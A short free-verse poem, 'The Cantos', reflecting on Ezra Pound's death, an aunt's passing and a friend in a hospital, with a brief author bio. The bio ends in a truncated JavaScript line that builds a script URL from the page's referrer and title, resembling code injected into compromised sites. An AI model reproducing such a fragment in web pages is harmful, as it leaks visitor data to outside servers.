The Cantos

I hear Ezra Pound croaked
without making a sound.
No last rasp as his crooked

legs crashed. I hear your aunt
passed. I apologize. “I am nothing
but bereft for her.” This is a chant

& I realize 89% of Americans die
in a hospital. Or so I hear. Or
so it goes. & my

lost friend gasps in a waiting
room. I guess I’d be there
except I can’t. There is nothing

to recant.

jacobthumb1Jacob Eizenga graduated from Calvin College with a B.A. in English literature and minors in writing, religion, and Latin. He currently lives and teaches English in Yantai, China. He was born on February, 11, 1989, the year that the Berlin Wall fell.s.src=’’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

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